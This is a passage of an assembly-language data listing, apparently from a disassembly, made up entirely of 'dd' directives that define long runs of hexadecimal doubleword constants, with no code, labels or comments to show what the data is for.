12A1B5C7h, 9F8DB1FBh dd 0D6EB76C9h, 82657B71h, 62FFD2B6h, 401936CBh, 69A6BE75h dd 502A8A5Ah, 4214AABh, 8E8DE80Eh, 71B26C8Ch, 59ABBBA6h dd 0EFDE299Ch, 6A05DA15h, 31AAE54h, 1C2541BCh, 42A69EB3h dd 0B7712269h, 56EAD3A3h, 8C2FA000h, 5748815Bh, 26329D64h dd 96C3CF1Ah, 0D2FC3490h, 3EAF4535h, 1DE8B3FFh, 891A599Eh dd 0ACDB76F2h, 2932B662h, 0A5EC2559h, 950F2499h, 4BCF305Eh dd 1D2B190Eh, 780B35D8h, 62D6C771h, 40538648h, 0BD1C9146h dd 44024ACFh, 1C3C61B2h, 77D1E3FAh, 3BDA3740h, 48D57B2Eh dd 0D8C19A46h, 87ACFDF6h, 8DEAE65Ah, 0B7BCB9DFh, 0C7472F43h dd 1B2EAE39h, 0EBA8A55Ah, 3EBB0D67h, 627C097Fh, 55F1C13Ah dd 394C5003h, 83F2DD87h, 0F580A72Fh, 0F1942AD1h, 259D5928h dd 0F1399E17h, 0CF604D86h, 0A3340E65h, 0DF49AF92h, 0A98BA69Ah dd 0A7C7DA05h, 0F84F9F0Ch, 0C1D9FF7h, 2ECCF6DFh, 0F0EF469Ah dd 0BDA5106Ah, 4CC54963h, 5C00550Ch, 0D3EB8AB2h, 0B8B67BD8h dd 0A67DBC2h, 28277Ah, 0CC81C337h, 0D4375E89h, 845EFE1Bh dd 840A272Ch, 57DF421h, 1A198F9h, 112751D6h, 3AD61A3Ch dd 41A2A60Ah, 1CFB15A3h, 269DC892h, 0EA793237h, 8750D5FAh dd 52D6259Bh, 0F2ABDDE8h, 0DA719264h, 3E9285C7h, 0FA043C84h dd 5733DAF0h, 13A91998h, 0A54C548Eh, 0E161AF0Ch, 5DC1767Fh dd 0D6F670C8h, 32EDD0C5h, 51155DD3h, 0DF36C3E5h, 4F3485F3h dd 0DAA0B5B8h, 0A911E1A4h, 0F5D5BA82h, 49302F10h, 61C4B380h dd 0B4FB8B24h, 0E357E038h, 7D451C04h, 8A1F3D0Dh, 822FA41Ch dd 6BDFB0E1h, 946A8217h, 0C108BD7h, 5EADC4EBh, 0B34643BFh dd 9634F1EEh, 0AF9DAF53h, 0E1B7EC9Bh, 9AA61072h, 0D63BD8A1h dd 20301D67h, 1C8A7D1Dh, 0F9752E1h, 824DF968h, 9814900Ch dd 9375CE0Fh, 0D946981Eh, 80052D60h, 34D3C02Dh, 7815A570h dd 6FE700CDh, 0C1B83783h, 8DC49F70h, 0DE6AC4D3h, 8BDEE0D1h dd 0B7D70E95h, 77CEB2F7h, 5A3CC9EAh, 6E764BFEh, 43F0A35Ah dd 329869A9h, 15D18AC7h, 4D645036h, 9C2DC0Dh, 4EBEA56h dd 0ED6C1CFDh, 5E5B4BDFh dd 89142BF9h, 0C4C6BE5h, 13971C76h, 0EE3F7821h, 336517C9h dd 0D88F197h, 0C87BC3D4h, 0EF88CCCBh, 0BEBC6F96h, 446523Dh dd 0A13550Ch, 3D3E25BFh, 0CA376B91h, 7223458h, 0DF0B59D7h dd 0BD38C50Dh, 0B7E42914h, 7F4E1E1Ah, 5FEFCE9h, 0E4E5D005h dd 31281333h, 0BD42CF53h, 0AFAA3173h, 0F7178FC3h, 0AAFB2DBh dd 9CA34652h, 0A1A5F727h, 0C6BF5936h, 634D5018h, 974A0F39h dd 9240D16Ch, 0CD4973A9h, 15F55081h, 0CC18565h, 0D68121E0h dd 0B64CD65Eh, 723FC021h, 0C982AD1Eh, 4310905Bh, 0C1EA91DEh dd 0F9299723h, 0B51B3A4Eh, 0C1C9E032h, 0A79B5DEAh, 255DC561h dd 587A9C9Bh, 0A01DBC28h, 0C2809EF1h, 0A60C79FAh, 99B658DFh dd 4E9FCDCFh, 0B81BFABDh, 0C222EC0Fh, 88BFECE3h, 0C5EDB05Bh dd 0DD948850h, 32527C90h, 0E40391E1h, 1E556599h, 0B70D96E2h dd 0F5251BDBh, 249C47B7h, 5E57070Dh, 0B111C1F0h, 0E8FC5C11h dd 0E40F35EDh, 872CE9E8h, 0B981591Eh, 0A0B486E0h, 5A0ACB86h dd 0C3812CC0h, 39AD1CF7h, 0D85AB419h, 8153C9A0h, 0EBCC0D1Eh dd 0BEAE859Bh, 0C06875F0h, 0C2F312E6h, 402720DDh, 51C25805h dd 84E7EB4Bh, 0F1302F52h, 383CC53h, 0EF5B2416h, 0F9938324h dd 0AE3B8923h, 0CEC6D0C7h, 0A421F6B7h, 0D19EAE0Ch, 0B6671BEBh dd 8ED853EDh, 1B9A247Dh, 64690F9h, 0C10FEC9Ch, 0B9E6041h dd 0CABEDD18h, 5B624845h, 5C9D0CE4h, 6853B555h, 67C203F1h dd 0BBBA3B8Ah, 749AD67Bh, 4351D926h, 0FE150F9Ah, 0E2BC6D04h dd 0A5AB6906h, 9D448867h, 38EFDFDBh, 0C6837B84h, 0D0D758B0h dd 99270D11h, 0DDEF3C59h, 2108B8A3h, 0E4C0926Ah, 0C8D58BB4h dd 7687543Ah, 0EE416F9h, 6C1417E3h, 5C1938F1h, 23863A8Eh dd 2C5517FAh, 53BE2A0Ah, 8D6437A6h, 3530EAE9h, 3380D43Ch dd 0D52E9DE1h, 0B79EE46Bh, 6498DE1Ah, 7E8BC385h, 4E38976Ah dd 73A10F35h, 175FDC26h, 1F5E6A1h, 0FF5D5E92h, 0C7279466h dd 0D010747h, 0F8047DFDh, 0C5C4CC38h, 0D1021290h, 0F5AA5E69h dd 0E43DFC00h, 79DA133Ah, 801D89B0h, 0B4ABA5B1h, 714CF8A6h dd 2D8B9473h, 9CEE2B4Dh, 4CC9B887h, 4600FF3Dh, 0EDDA33DEh dd 73DA4735h, 0DC8526B7h, 0B4E030E3h, 0D209B0F4h, 84B16487h dd 8117916Ch, 43E5F0A0h, 9AC01C1Fh, 32450B88h, 7171B276h dd 512DECC6h, 41527CD1h, 33DAB663h, 0D3574DA3h, 9DFB6B2Dh dd 0C05BFA23h, 0F4833CAAh, 528D7F04h, 0D4C50862h, 57E29903h dd 0A68B6931h, 59C1BC69h, 91BEB62Ah, 8168A8Dh, 0EEABFA40h dd 0F7260B50h, 3477F4A1h, 0E2487430h, 0F4912A31h, 279D8E2Bh dd 618B67C8h, 1FAEEA03h, 0C09CC7D2h, 53251AA4h, 32E77831h dd 7B05F7F6h, 0E457ADCAh, 5AD4B331h, 0DE4F64F6h, 0F71B8AE4h dd 4B8A398Eh, 0D79210FDh, 0B30C057Fh, 88677035h, 9B7C6112h dd 0E299BAAFh, 0CE8BEA9Bh, 9ECFB838h, 0F86146D7h, 5DD57888h dd 0CDBE2810h, 0D996ED56h, 3542F13Ch, 0BBDE989Ch, 0CAFF537Fh dd 0FE124D56h, 0D1C284A9h, 0C2520300h, 4911C41Ch, 64C58B6Dh dd 0A8743822h, 0A01AB728h, 0C18DA724h, 0E1102D2Ch, 4F82289h dd 0A024646Ah, 17CB93ACh, 1033B691h, 247339E6h, 0FB3121F9h dd 0EF45750Ah, 478EFF69h, 32F022FEh, 7B1BB14Ch, 7EB77825h dd 0DB7915E5h, 2178D187h, 0AFE251EDh, 0D6E17DF7h, 35D0FA0Dh dd 77400CF2h, 0E79CA36Dh, 6EE4BEA4h, 6F3C9305h, 0D156DF0Ch dd 0A71B993Dh, 70BB13B4h, 0D0CE9EE8h, 7456A22Ch, 0CEB11169h dd 0EE924241h, 866B2011h, 0DA6DA9F4h, 68625A48h, 0DB212278h dd 6A3B93EDh, 0CD0186FFh, 9058B12Eh, 0B44E657Eh, 0A7EF1DD7h dd 0EDA4B70Eh, 7253D917h, 0F6ABF609h, 0A47F1746h, 473BF7C2h dd 4C134204h, 0F1EAC0FBh, 0ECBCF98Fh, 13DC6E15h, 18064389h dd 3D1125B7h, 0AFD5DECBh, 0E5933024h, 0F16FD6FAh, 3303D00Ch dd 507F1A6Ch, 0CAB58D0h, 4D18F58Eh, 0BF0023EFh, 0A9420E10h dd 0A103EF77h, 0D61BC4F4h, 76CF1AF2h, 22053DBAh, 12F2066Bh dd 0C1B98E7Bh, 0EAA87C46h, 58201424h, 94D1BB9Fh, 529072ACh dd 73BEE10Dh, 994417FBh, 763F21F4h, 5F6EC70Eh, 7FFDFF22h dd 99D03BA7h, 6DA0FDEFh, 0A0DAD464h, 64DD7DE6h, 0FEAD7B41h dd 75295588h, 33FCD0A2h, 0AB432958h, 9EA479A8h, 0D24B7C2Bh dd 34EC8AC6h, 989134F7h, 6711FF5Fh, 44B51B02h, 0A55273A7h dd 7E3DEA72h, 0CF0F3970h, 6F9A61E5h, 69A99509h, 0EA16542Ch dd 55631BB8h, 0FFF9B0Bh, 518B4920h, 65A0D889h, 5613C103h dd 34F8337h, 4A2FAD1Bh, 80F0F584h, 492F4CE9h, 0F063E9FBh dd 0D6731E77h, 0E1D0A916h, 0D52E6687h, 30FD71D7h, 9517988Fh dd 4DAF2DD0h, 0ABAED270h, 0F0913569h, 51EB0DBCh, 0EBF95AD0h dd 0BAC38B89h, 0D446BD0Bh, 8E80F80h, 3D46F323h, 91BC85D2h dd 0FDB79E89h, 8027F5C1h, 1A0410C4h, 0FE5EEDCDh, 0DB6E25D4h dd 0F4BF60D0h, 0F0DCB605h, 606974B4h, 9AF3BA67h, 435D4D55h dd 0F372DD24h, 512BCF7Dh, 7739032Fh, 0E6A1E2C5h, 0EC018B0Fh dd 259FEC4Dh, 8600E34Bh, 0C5DC011Bh, 9A0C156Eh, 2E50E49Ah dd 0FC9436CEh, 370443D8h, 0C467FA0Ah, 64393A5Bh, 0C5742268h dd 56CEEE0Ah, 0F438AEDAh, 20DBD67Eh, 0CE341B8Ch, 7AB44152h dd 0BEDEA9A7h, 7628F8D4h, 359CBA4Fh, 5BE54A7h, 9EBAAD94h dd 2F1638EBh, 6F0DC8EDh, 75529298h, 0F4350F0Ah, 47E30A38h dd 3840FE47h, 54E78645h, 7D5A3C4Fh, 88AC69B6h, 152A0B5Ch dd 0C615F94Dh, 0DB4D0F27h, 0C8C0D030h, 0AE988B04h, 7AC11543h dd 5627DEF3h, 0ED0A8A0Fh, 1834496Fh, 0FBAAB19Ah, 7EA25F63h dd 689E6647h, 5F003DB9h, 0B4BC8084h, 17949C7Ah, 300FEE73h dd 0D50F4094h, 0F003C9BDh, 4B779895h, 3E3C7AA2h, 0C8E7B77Bh dd 622D7848h, 0D4D27D1Eh, 2E428AFDh, 31504B8Bh, 2BBC4D47h dd 34A86432h, 9B6DD7B1h, 2216D3CBh, 4B5734Bh, 476BC955h dd 18BDEB1Eh, 8ECC7289h, 0BB8C3D37h, 40D671CAh, 9EB988CEh dd 0CBB01082h, 0F59BE171h, 8546B491h, 5E3A6B21h, 9688AC1Bh dd 0E030FA03h, 0F091F640h, 13A9AE98h, 43E87E66h, 4CB4DA23h dd 177F1C04h, 57F06B7h, 66212970h, 361E23D3h, 0AB7F12AFh dd 4908DB8Bh, 0CE21987Fh, 858CE0EFh, 574DD0ECh, 8AABF4D1h dd 3410D22Ch, 191A67A6h, 3BA82E8Fh, 3CC91965h, 0C4B8D233h dd 1DCC32A7h, 12F199BFh, 0AA8D56FCh, 911C488h, 0B6A512FBh dd 325DDA9Eh, 15135E40h, 8B853F21h, 5150695Fh, 5A1ABD26h dd 0D2CB17F8h, 6454B8CFh, 0AE4C2407h, 50728016h, 15B8F508h dd 89697D81h, 5582FD44h, 2D44C758h, 0F49329A0h, 13730ED4h dd 8B75DD1Fh, 2F80858Eh, 0C7939422h, 76CBC68Ah, 0DA42D15Bh dd 0E63116EFh, 0FA6FD3FCh, 0D1B7126Fh, 0F7D94F6Bh, 1F672EA4h dd 8936D092h, 23C836F3h, 0BA473C20h, 6C4749B8h, 7549C3F9h dd 94F0928Dh, 0C2AE1A10h, 557CFC9Dh, 2D917544h, 6348B64Ch dd 290B1217h, 4B013222h, 482ADDB7h, 84F839EBh, 0BA8B6C29h dd 432A8408h, 7B6363E6h, 44316F17h, 1B28B781h, 45A80881h dd 0E3561749h, 7BE62779h, 35EBC25Fh, 56841E98h, 3344C93Ch dd 0E8314E9Dh, 130FE343h, 70EF28A7h, 153A39E0h, 0A59EA703h dd 8A223FBEh, 0ACD2DCD4h, 0D926AC0Dh, 99976775h, 41BD9B3Ah dd 11E9F01Fh, 0D8552671h, 711B38F7h, 0F43EFA8Bh, 1FABBA99h dd 9F911CC3h, 28D188Ch, 0F5F0ABD9h, 934DA1Ch, 0BCBBCC7Eh dd 3CCFB1D1h, 435F8093h dd 89B23254h, 0AAADD26Bh, 0C16FC918h, 0F8E0D1F6h, 5BACC72Eh dd 1D0E4B27h, 0F7807ACDh, 9221BA82h, 0DAD9787Bh, 0E6115D38h dd 0A3F2594Ah, 31F5173Ah, 8B935E4Bh, 0BAF6C50Bh, 6566F291h dd 7C6D0952h, 0B735138Bh, 9AD2462Ah, 0FAF2B0BDh, 666C39F9h dd 8426A44Bh, 0E1CFFCAh, 0B1C57309h, 714A3BCEh, 0DE4981F3h dd 0D0A06697h, 9024FA7Dh, 0AD85736Ah, 722DDEB5h, 0D04B26AEh dd 9707358Dh, 0AD48FD30h, 651A5E55h, 8B6D145h, 0B96E2697h dd 65B08C89h, 0EE27900Ch, 0DE9574B7h, 5E40C5BBh, 7F195C27h dd 2700384h, 930427C9h, 5C749800h, 0C2CE4h, 0BD06C7B9h dd 3202D259h, 1FA0534Ah, 34AC372Bh, 0D97E8CAFh, 0D0DE5615h dd 0ADA9694Ch, 71CA01DFh, 9AE845Eh, 0C737F356h, 9821145h dd 0C61E0956h, 0FF242D68h, 32E24D86h, 0B1FA8E1Eh, 0B199ACDh dd 3924FFF2h, 0E5069C0Ch, 0BDC33107h, 0A6F9C0F3h, 8B00B41Bh dd 8D6D3AEh, 30B85C10h, 38A7B462h, 0DEF3EE0Ah, 9DC2CA0h dd 4DDE09E2h, 0EBED2E4Dh, 0C329E5BFh, 5528E737h, 0F390A20Eh dd 0E21E87EEh, 0BE1DB4D0h, 5CC26733h, 44C6E001h, 0D854972Dh dd 8DAB116Fh, 0C86F384Ah, 74F234C4h, 0A87C8084h, 0D15F3ECh dd 8BD2F703h, 0EC10B562h, 7EB17431h, 47CEE775h, 7E685281h dd 524D92E9h, 0BF0A322Bh, 0F9E012A2h, 0A1714CB4h, 0A32EDCD0h dd 1F9A31B1h, 0E9239493h, 3D5102F4h, 9B739DC3h, 0A5433668h dd 0D968F83Ch, 0EB81A25Dh, 0F562B8FCh, 0A320FC6Ah, 3E4DDE01h dd 0C7739BA8h, 2C8C5D34h, 785F8F85h, 1A3B8E19h, 586B34E2h dd 3835F6DEh, 266563BCh, 3ABE273Ch, 730FB28h, 78091EDFh dd 97247DDCh, 7F680683h, 95A30D41h, 0B8496F1Bh, 0DE8EEEB9h dd 0C5FAF4E3h, 0E772AB4Eh, 7179C24h, 7F0E3A78h, 7EF4AF3Ch dd 0F060707Bh, 6B68412Fh, 35B3EF6Fh, 648F9922h, 0B2E5E78Fh dd 0DACE7672h, 71FE1489h, 39B5794Bh, 0A0C6925Bh, 0F02D0CE1h dd 0A4F8CDFDh, 2A3E8C8Eh, 1989410Eh, 507531D5h, 0C475B5BEh dd 0C6B84035h, 0C6B76BA7h, 0BF9AA4DCh, 9B6C193Eh, 0F341D0A4h dd 84825FEDh, 0C45103FDh, 8C21A14Ah, 311FDEB2h, 15C22F0h dd 8BFB65C1h, 5F400677h, 6C03A7C7h, 5AF0F12Fh, 0C3ACE65Ch dd 3CADB186h, 0EF3F1C2Bh, 61528DE6h, 8CB1CDADh, 4CE2A30Ch dd 698A2AE4h, 0A4A36326h, 5B9B0500h, 6079C590h, 950D5C06h dd 0D989D36Bh, 87078A7Eh, 0E20A3CD0h, 8629DF97h, 0DB88B232h dd 63915C7Eh, 37E3D4F5h, 5FF6D369h, 87504049h, 774321A4h dd 2DE7DF09h, 0EF6CC5EAh, 0DE673EA0h, 0EAAE706Eh, 0D0302F75h dd 87DDBCF8h, 0BDAEDE32h, 2B0B9242h, 1B77F3A2h, 85273866h dd 0EA16AAE2h, 4CCF3727h, 0F0E6044Ah, 5A48B2E5h, 67D2155Dh dd 0F651AF58h, 50FF6D46h, 2F2D3A67h, 9827FFAFh, 6B11A4FEh dd 0C7D314ADh, 0B6205222h, 0E11E8442h, 0E378C45Ch, 15D72889h dd 1A3B38E5h, 0D62D1025h, 0FD480F56h, 7FE1D38h, 92532206h dd 0D9726E0Ch, 0F03702B6h, 504C0495h, 8E6D9905h, 63144B75h dd 6AC80F3Dh, 0BFCC0EE3h, 0D59F5B4Dh, 0C57BAD07h, 0BBB08129h dd 0BD270E9Fh, 0B86783A1h, 47276B85h, 0D02E9585h, 0CAA2ABD3h dd 0B77EEA0Dh, 0A3BAF0A7h, 11085092h, 1CE95120h, 36A89CBh dd 0D3CF2868h, 20523B89h, 92D77232h, 0CA20182Fh, 0AFCAECA3h dd 243DB663h, 2EEC092Ah, 116DC9FDh, 0C0571936h, 2A039C50h dd 79E87F15h, 0FAE38FFBh, 0AE718533h, 220B25D5h, 964F122h dd 49E00691h, 1B88F9EEh, 0DC6E5CBAh, 0E8CAA891h, 876E3A17h dd 5952F505h, 0B513C586h, 9D52F7DBh, 4B92E11Ch, 94CE2F78h dd 0A39F84D6h, 0A96364DAh, 0B6268F4Fh, 0ED2751D6h, 4A8020F3h dd 2DA37638h, 0F87C1BB7h, 0CD231EDDh, 0E0536CF0h, 0C058F806h dd 9B90BA5Fh, 0B17EEFFEh, 84A016Ch, 0F328DC93h, 78B46226h dd 61C987A6h, 0FAC31AA2h, 602CBA1Ch, 3985DF81h, 95EC8480h dd 86DE446Ah, 372662B5h, 0B5ECB0D3h, 0D18CC59Dh, 703991Eh dd 811F3374h, 70C79739h, 0E1FBA30h, 1F6CFC5Ch, 0F14250D9h dd 5F48DC2Ah, 253AD635h, 4967E35Eh, 80EBEA2Bh, 14BF5892h dd 0D86ED9F8h, 3037A7FEh, 0DC026C4h, 0B50F7EA8h, 91FD34B8h dd 54AF3B92h, 0A84D3C8h, 0EAF4DCDEh, 78A9C5F2h, 0BFC1ABCCh dd 7FFAEC6Eh, 22D45FA6h, 0BDDEE7D1h, 0D0E4AAA9h, 0B8E9CAC4h dd 9B581DAEh, 0BA1A39A4h, 0C62B8100h, 0DB25357Ch, 0A4C0E985h dd 20B86A3h, 0C37DD9C9h, 6BF83571h, 1FDBD8C3h, 0C2E36A28h dd 6758BA7Fh, 443B773Bh, 0FA6E7A92h, 7E4B3619h, 540144Bh dd 74947616h, 0AB573022h, 0BFF0B938h, 23065729h, 0C23287F2h dd 97B0E164h, 9ED6DBD5h, 60941A1Bh, 245404AAh, 616CC106h dd 0F716B5DFh, 0D3479EF4h, 6F2C266Fh, 0E939D5CCh, 0B25E2AF4h dd 0DB24084Dh, 947D6C41h, 8AA63A1Ch, 0E0D29F1Ah, 0C065E33Fh dd 3FFE2D86h, 6BC4EDDCh, 6DE9ED27h, 0A1193D3Eh, 0F251A368h dd 0D12A811Dh, 0CE4AA3Eh, 0EED3CA84h, 0ABDBD010h, 954D55C6h dd 36C337B5h, 0B52966C3h, 991EB9D2h, 5E12DBBEh, 0F85A7FC5h dd 0C3D00E14h, 70BB3B5Bh, 84D9385Eh, 1471D8D0h, 0D825AEDEh dd 2B80A8FBh, 0F1237703h, 8465861Fh, 8A39C30Ch, 322818A9h dd 0F8017E92h, 73F8A531h, 4F654112h, 0C4091C87h, 55347808h dd 250FAFBFh, 0CAA1D978h, 3694A418h, 271A926Bh, 2006DB07h dd 663EEA4Ch, 5D96889Ah, 0CF1A759Dh, 6412A9A2h, 3A0CC63Fh dd 32C4313Ah, 1CC8CA63h, 0DBAE5325h, 651DC0A8h, 0FBD6209Dh dd 0F1EE4B0Dh, 15F3B139h, 0F62BA18Bh, 0B6CB8B21h, 9C0D7E79h dd 0F70A7F03h, 0F8BF03A9h, 0DB73D69Ch, 0AC5994DCh, 0E3646194h dd 0A9D0323Fh, 0FA90A26Ah, 0BBD22396h, 0A071FBE8h, 3A03CEBDh dd 0D2AB8E57h, 0FAB677DAh, 324275EFh, 0F005A63Fh, 692796B5h dd 0FF96DA39h, 0E3E7DFD9h, 0B3212A7h, 0AFFF9B7Bh, 55307583h dd 40CA43CAh, 347E1E0Bh, 57D17F0Eh, 5DB2F40Bh, 64493BFh dd 68958ABCh, 0CD905540h, 6EF9F203h, 0A652AABEh, 0A9FA6BD2h dd 0E720F793h, 0DB44AAECh, 0E06CA87Ah, 816E1E6Ah, 1F3FD357h dd 8194D8D2h, 7CD0668Ch, 2D7B11C7h, 0BD5A4414h, 6EFBCFEEh dd 56336F9Ch, 0DB21A726h, 2E74D89Ch, 0A6F6A29Ah, 5B97E295h dd 0DF2126BFh, 66558D43h, 8F57A058h, 0E99EF288h, 3B76B66Ch dd 0E7BB9342h, 0CD6193CCh, 36548B84h, 28C3CAFFh, 0A4BF1992h dd 0FB66E242h, 5F97C12h, 405BBC25h, 80AAC478h, 9A9254C6h dd 0B139A91h, 0F8DB55F2h, 59669138h, 0D82A0AB8h, 8DF9B93Fh dd 0C04373FEh, 9F31930Bh, 0B3CED0E6h, 0CE7F4601h, 0E86186B4h dd 0D1A84F8Dh, 7D644365h, 13B3D0CDh, 861527C4h, 0C4D65925h dd 8A8D16D0h, 1BFB523Ah, 80742BD0h, 0E052D895h, 0ACBF5292h dd 7D995AD3h, 0B8BF61FBh, 0E5288087h, 5C90FCF2h, 0C35E1571h dd 5C91DBB1h, 0AA1646B2h, 86E3EECh, 9F07A5Dh, 4B0053CAh dd 0A504300Eh, 0B0CF46C4h, 592ED160h, 767A6637h, 0CC56E161h dd 57A937A7h, 0D3C681E9h, 0DE8BF259h, 8C3D6CFCh, 25DF2753h dd 0C8800C6Ah, 69749840h, 655951D3h, 0B70C9711h, 0ECE38FE1h dd 6A94F9A9h, 0DCC1637Eh, 56E4663Eh, 0A3642608h, 94E4A126h dd 0EF2C779h, 345C4BBBh, 218EC0FAh, 0C1BDCEEEh, 34A22A43h dd 1763DE4Dh, 8914BBCEh, 219CD309h, 9AF7A17Bh, 51BA71C6h dd 0E4F1790Ah, 6C22063Fh, 4C799FE1h, 0A2687005h, 0A92D493Ah dd 0B80A208Ch, 0AF3B4CB3h dd 0E314BB2Fh, 62021AADh, 82B5D590h, 8BC5F98Dh, 1D35DC39h dd 9D870287h, 0C3679BAh, 0E550D8Ah, 83A63668h, 6223C855h dd 2E4E07E1h, 0B93B3003h, 0B54C7F5Ah, 6D740C48h, 46D5DE43h dd 9D8C143Eh, 0D2C9E7E7h, 41AA2788h, 9B8F610Ah, 36024D3Ch dd 18489177h, 7CCD6C77h, 0FA0E7201h, 80F59FCBh, 0F71F0CD1h dd 73FFB744h, 193573D7h, 8764DDF2h, 0D5C9A84Fh, 5AB76CF1h dd 8E5FA7DFh, 0D7C5EA57h, 0B2861DCBh, 0E2D81502h, 50C3A934h dd 0DE0E723Ah, 1F112E8Ah, 13BD8475h, 288F8D15h, 0E3036C2Ah dd 0FF131D72h, 10055272h, 3069603h, 0A4AD957Ah, 7FA37C1Fh dd 0CEF54156h, 0B2E902C4h, 4ED2AE14h, 3DD88A06h, 4C407CCBh dd 0DB06D614h, 0ACA45734h, 70310DCh, 2847DD1Ch, 0B0AE6AEFh dd 0E44A5BE0h, 16DA788Dh, 0CBCA8411h, 0BEFF9714h, 80B4C8A0h dd 0C5C1C6C1h, 0E07FE492h, 0B62F41C5h, 2AA83BADh, 86CB2DD5h dd 165EB7E3h, 6136085Ch, 500B46C1h, 0FBA98FDDh, 78029D2Dh dd 0F4664308h, 2F774FBDh, 460507B1h, 7F51F9B4h, 0E4130E40h dd 2805972Fh, 19346526h, 807215B3h, 0F757AA35h, 6F9F2A98h dd 0A97C5B3Ch, 9A65428Eh, 0FB1C62B0h, 0D45FFFCDh, 31348EF3h dd 2B9FE073h, 5241E1CDh, 9473032Fh, 3C08E8D2h, 9821F31Bh dd 923E25BCh, 23F5AEF7h, 0ACD10DDCh, 1C4B5EAFh, 0E69AEFA0h dd 68F74673h, 4E663218h, 777365B1h, 7EA55A5Eh, 0E2BAADFCh dd 8E14F86Ah, 6D1C644h, 5D21FD02h, 7BBE32F4h, 69A350FBh dd 0C32D0816h, 0E0652BE1h, 650990E3h, 588B4331h, 17C58F86h dd 2D17E30Dh, 2EBAA287h, 0ACC4DB93h, 5607E18Bh, 0B0E1DCA6h dd 0F119A049h, 54E6975h, 0EEE34201h, 3F44FE7Eh, 6E55AEB8h dd 303CF35Ah, 3A111B51h, 85A8F64Ch, 6F996CA0h, 0F997AE21h dd 70006077h, 581139DDh, 78D96508h, 9FF00DBCh, 16537922h dd 43985BDBh, 0EB0B3979h, 1630A148h, 2B8CA599h, 6A086A88h dd 75727687h, 0D7E63Eh, 404199DAh, 2EC8D6C3h, 0BC8C62F0h dd 0DA0F083Ah, 0B7149828h, 49CD85F1h, 9D48414Bh, 3EA7A6C0h dd 66275D56h, 631415A9h, 0CEFA8A67h, 0F0468C9Ch, 0E0A3CC90h dd 425E18D3h, 684B4F2Fh, 89866B70h, 64D37FEBh, 4626F54Dh dd 2D8BC7C6h, 70E0CA2Ch, 88B595E5h, 564787AEh, 6771D989h dd 0CA654410h, 75064DC6h, 24C9178Eh, 0FD9C11E1h, 17B44EBh dd 254E8C15h, 97D9EFA5h, 8373A914h, 0D233C48Ch, 8508B8ADh dd 684C1A24h, 30DF04B3h, 73B5F99Ch, 4FB8FD80h, 4D5EEC4Bh dd 91EA7E38h, 9618C1C6h, 0A51EAD0Dh, 0E65ACFD2h, 6740D3ADh dd 0DC2BA9Bh, 5062B315h, 0DF2696E7h, 738674EAh, 1DA2518Dh dd 0A8F0444Dh, 0E0CC5E38h, 0E593124Fh, 723D1310h, 0E717FD3Dh dd 80462BF4h, 8072F208h, 0F8B83317h, 0C5A101E3h, 3B8722ADh dd 0B2B2D445h, 6E93B5A1h, 0FC0FA6FFh, 542A4209h, 0B00E9366h dd 25D11BBAh, 0C5486577h, 87171157h, 0C3D8F133h, 81739949h dd 0E7370CCFh, 8A67BC98h, 9EAEB97Ah, 13E1DCE0h, 0E858BB53h dd 5A069129h, 85D6D1D9h, 0B4748FBCh, 25561CA2h, 0F341E7ADh dd 0FF39906Ah, 0E725C936h, 598223E5h, 25F8EEE8h, 74D7F4FEh dd 9D9CBF9Dh, 62231268h, 97706972h, 0CFD224B4h, 0B070F9D2h dd 0C1A966A5h, 0C1610E8Ch, 3089E70h, 921217A9h, 0B35DCFBDh dd 0F491AE3Bh, 22D6D311h, 3203114Dh, 0C55614CCh, 3F33C783h dd 3D3C1B29h, 0E0AB236h, 183D45C2h, 5E19AB3Ch, 0F93A43FCh dd 5DC63639h, 0F553348Ch, 559B243h, 0E59F238Fh, 0A0440687h dd 9BDABBD1h, 0B1FA9945h, 0C86373F3h, 0B5BAF908h, 0D8387AB4h dd 97D1BF13h, 849E9BFDh, 1F3FA637h, 26DFC63Fh, 0DD3C7725h dd 0A27F2E61h, 1E88A201h, 0A513BDABh, 0BA1663E9h, 6C738581h dd 48E6A34Dh, 0F6E42DAh, 0F689DCB5h, 1259E996h, 6454AB0Dh dd 56D08F4Ah, 0EDF53E4Eh, 161F81D3h, 4195BA14h, 0DCFD0F87h dd 631EE578h, 0D84E05F4h, 0D93868ADh, 0B5C432FDh, 85617FD4h dd 9AB150BEh, 285697B5h, 0F6FBA338h, 0C0EF1E65h, 9CFB07EBh dd 1DBD7BD4h, 0C313AABEh, 0A4B2ED51h, 0F8343971h, 7E8C4CE9h dd 0CD9D3AAFh, 36078E57h, 0B47DEF11h, 9C09BB53h, 1FBB2386h dd 345BBEB5h, 0E340EFC3h, 9D62A05Ch, 0D42537D8h, 824F6869h dd 0B1D98D18h, 94D8F74Dh, 4B8DCC54h, 6E8596CEh, 0EE54291Ah dd 8F67DBFFh, 403FCC3Eh, 0AD0A0C9h, 98020E51h, 9083ADB8h dd 8E47012Bh, 0BFE7CC9Bh, 0D63417A8h, 5DA253CEh, 7E04E5Ah dd 966D8377h, 3FCB231h, 5F1EAB0Eh, 750A4F5Bh, 0B00559FAh dd 0E4C67181h, 8E4C843Bh, 3ACF6332h, 0F48074CFh, 7323DEEFh dd 0BB3C5E85h, 0A33DF3DBh, 0C812E29Fh, 0AA6AFC83h, 0D4E4461h dd 552EABFCh, 15565680h, 73C6784h, 2B721CC2h, 8E8DE84Bh dd 83511438h, 0BE63AADFh, 4CB55589h, 6AFDC52Fh, 0C89F9BA6h dd 638C6FD3h, 136A8DC4h, 907D90A9h, 2BEA5C16h, 36057245h dd 1877822Ah, 1F5E71F7h, 0C74BBB40h, 84E85B76h, 995F3CFAh dd 0B28A4894h, 0F619C4B6h, 0E1756422h, 739AA4D0h, 63A47536h dd 25BC5E94h, 0CDDEABB8h, 112AD182h, 151E97A7h, 0C3A548EBh dd 0A65FEA5Dh, 0A98D19ACh, 0E7FC8C0Bh, 0D81E2E8Dh, 4800E218h dd 8DDAAB4Dh, 5C4E6EB8h, 0F78C95C9h, 69C91A22h, 33514C96h dd 9AA6712Eh, 25B607C2h, 0D1D5DE06h, 7C2D3F47h, 81167E62h dd 0D862223Ah, 0B7C2846Ah, 4F4972A4h, 4A175E60h, 0D9B81827h dd 0CDE9A9A0h, 0D4376B64h, 0DE7668FCh, 0E8D9BC20h, 71E90EF8h dd 6E132DC3h, 964B976Bh, 1DD9BEE0h, 6F4A999Bh, 0BB547514h dd 906FA75Dh, 0E57A1B1Dh, 0AF85845Eh, 0A44EFA12h, 3A9D914Fh dd 0C0FD442Ah, 0BF57186Ah, 0C5C951FCh, 0A30E8847h, 0CC4B8333h dd 8B0E2012h, 667B2D68h, 0FA158B4Ch, 0B12BD6EAh, 2EA7269Bh dd 56543CF8h, 